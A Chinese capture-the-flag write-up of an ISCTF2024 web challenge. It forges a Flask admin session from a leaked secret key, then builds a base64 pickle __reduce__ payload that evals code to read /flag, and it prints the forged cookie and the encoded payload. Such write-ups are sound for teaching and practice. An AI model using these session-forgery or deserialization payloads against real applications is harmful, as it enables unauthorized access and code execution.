session伪造 Python反序列化 远程Shell | ISCTF2024 | Web 新闻系统
2024年12月10日约 606 字大约 2 分钟
分析代码,
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
if username == 'test' and password == 'test111':
session['username'] = username
session['password'] = password
session['status'] = 'user'
return redirect('/news')
else:
session['login_error'] = True
return render_template("login.html")
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
news = newslist.news_list
return render_template("admin.html", news=news)
当用户名是test
密码是test111
则可以登录,但是当用户名是admin
密码为admin222
时才能登录管理员面板,这就摆明了要求我们绕过验证。
app.config["SECRET_KEY"] = "W3l1com_isCTF"
这里提供了SECRET_KEY
,我们可以根据这个加解密 session.
我使用的noraj/flask-session-cookie-manager: 🍪 Flask Session Cookie Decoder/Encoder工具解析的 session,相关的使用方法可以在 Github 查看。
python -m flask_session_cookie_manager3 encode -s "W3l1com_isCTF" -t "{'password': 'admin222', 'status': 'admin', 'username': 'admin'}"
.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzXjYw.JGCK95W6Ukxa7bFuD7ji1Uq68PA
将 Cookies 中 session 换成生成的 session 即可进入管理员平台。
然后继续分析代码。
news_data = base64.b64decode(serialized_news)
在这里会将 base64 字符串解码。
black_list = ['create_news', 'export_news', 'add_news', 'get_news']
在这里有一个黑名单,出现这里面提到的单词会被 ban 掉。其实这是一个线索,我们可以想象一下如何使用这里面的东西而不被发现~~(base64:不管我事哈)~
newslist = NewsList()
代码在这里将对象实例化,可以直接调用。
newslist.create_news(6, open("/flag").read())
编写这样一段 Payload,然后转为 base64.
bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp
pickle --- Python 对象序列化 — Python 3.13.0 文档中写道,__reduce__
会在创建对象时被调用,我们传入一个元组,包含可调用对象和可调用对象的参数。该方法会在被反序列化时被调用实现远程 Shell 的功能。
因此,在实际的项目中,永远!!永远!!都不要把不信任的数据交给这个函数解封。详见 Python 官方文档。
我们封装一个 Payload 生成 base64 之后的字符串,并将生成的字符串在 Web 页面添加,然后可以获取到 flag
import pickle
import base64
class Malicious:
def __reduce__(self):
return (eval, ('eval(__import__("base64").b64decode("bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp").decode())',))
malicious_data = pickle.dumps(Malicious())
print(base64.b64encode(malicious_data).decode())
gASViQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxtZXZhbChfX2ltcG9ydF9fKCJiYXNlNjQiKS5iNjRkZWNvZGUoImJtVjNjMnhwYzNRdVkzSmxZWFJsWDI1bGQzTW9OaXdnYjNCbGJpZ2lMMlpzWVdjaUtTNXlaV0ZrS0NrcCIpLmRlY29kZSgpKZSFlFKULg==
添加时会提示错误,此时忽略即可,代码已经执行完了,返回上一个页面直接刷新即可。